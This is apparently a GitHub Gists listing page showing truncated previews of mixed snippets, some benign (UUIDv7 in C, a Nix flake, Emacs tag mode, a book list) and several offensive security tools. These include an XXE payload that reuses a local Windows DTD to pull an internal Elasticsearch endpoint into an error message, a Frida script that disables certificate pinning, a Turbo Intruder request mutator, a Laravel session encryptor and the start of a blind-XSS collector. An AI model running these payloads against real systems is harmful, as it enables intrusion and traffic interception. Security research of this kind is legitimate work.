Skip to content

Instantly share code, notes, and snippets.

View andreystepanov's full-sized avatar
🎯
Focusing

Andrey Stepanov andreystepanov

🎯
Focusing
View GitHub Profile
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
@defparam
defparam / MutateMethods.py
Last active February 15, 2026 04:39
Example of using Turbo Intruder in a "listen and attack" mode. Because turbo intruder's jython interpreter is technically inside burp you can have turbo intruder scripts use the plugin API. Here we use burp.IProxyListener to intercept requests and reissue them inside turbo intruder mutating the method.
from threading import Thread
import time
class TrafficMagnet(burp.IProxyListener):
def __init__(self):
callbacks.registerProxyListener(self)
self._helpers = callbacks.getHelpers()
self._callbacks = callbacks
@LiosK
LiosK / uuidv7.c
Last active November 17, 2023 13:05
Experimental stateless UUIDv7 implementation as of RFC draft 02
/**
* uuidv7.c - Experimental stateless UUIDv7 implementation as of RFC draft 02
*
* Required: `clock_gettime()`, `arc4random_buf()`, and ~15-microseconds or
* finer system clock resolution.
*
* This implementation employs 52-bit timestamp (consisting of 36-bit whole
* seconds and 16-bit sub-second fraction) and 70-bit cryptographically strong
* random integer in the following layout. It does not guarantee the monotonic
* order of the generated IDs within the same timestamp (i.e. within ~15
{
description = "activity watch";
inputs = {
# for building rust apps
naersk = {
url = "github:nmattia/naersk";
inputs.nixpkgs.follows = "nixpkgs";
};
@fransr
fransr / logger.js
Last active December 18, 2025 10:06
logger.js for hunting script gadgets. More info about script gadgets: https://github.com/google/security-research-pocs/tree/master/script-gadgets (Sebastian Lekies / Eduardo Vela Nava / Krzysztof Kotowicz)
var logger = console.trace;
// ELEMENT
;(getElementByIdCopy => {
Element.prototype.getElementById = function(q) {
logger('getElementById', q, this, this.innerHTML);
return Reflect.apply(getElementByIdCopy, this, [q])
}
})(Element.prototype.getElementById)
@rougier
rougier / tag.el
Last active May 29, 2024 15:51
Rounded boxed tags for Emacs
;; ---------------------------------------------------------------------
;; Tag minor mode
;; Copyright (C) 2020 Nicolas .P Rougier
;;
;; This program is free software; you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
;;
;; This program is distributed in the hope that it will be useful,
@Bo0oM
Bo0oM / laravel_session.php
Created May 15, 2020 08:01
Laravel Encryptor
<?php
class LaravelEncryptor {
private $key;
private $cipher;
public function __construct($key = 'ABCDEF1234567890ABCDEF1234567890', $cipher = 'AES-256-CBC') {
$this->key = substr($key, 0, 7) == 'base64:' ? base64_decode(substr($key, 7)) : $key;
$this->cipher = $cipher;
}
@teknogeek
teknogeek / universalUnpin.js
Last active March 1, 2026 12:24
Frida Universal™ SSL Unpinner
Java.perform(function() {
console.log('\n[.] Cert Pinning Bypass');
// Create a TrustManager that trusts everything
console.log('[+] Creating a TrustyTrustManager that trusts everything...');
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var TrustyTrustManager = Java.registerClass({
name: 'com.example.TrustyTrustManager',
implements: [X509TrustManager],
methods: {
@swlaschin
swlaschin / booklist.md
Last active July 3, 2025 08:19
Some recommended books for improving as a software developer

Some recommended books for improving as a software developer

Most software books are too language specific and go out of date too quickly. What I find has stayed with me are books about bigger concepts, such as systems thinking and complexity, and also so-called "soft skills" such as management and psychology.

User experience

These are all really about developing empathy for other people :)

  • "The Design of Everyday Things" by Donald Norman
@vavkamil
vavkamil / blind-xss-cloudflare-worker.js
Last active November 2, 2023 14:43
Serverless Blind XSS hunter with Cloudflare Worker
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request))
})
////////////////////////////////////////////////////////////////////////////////////////////////////
// ! DON'T LEAK THE SECRETS !
// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/
const telegram_token = "*****REDACTED*****";
const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage";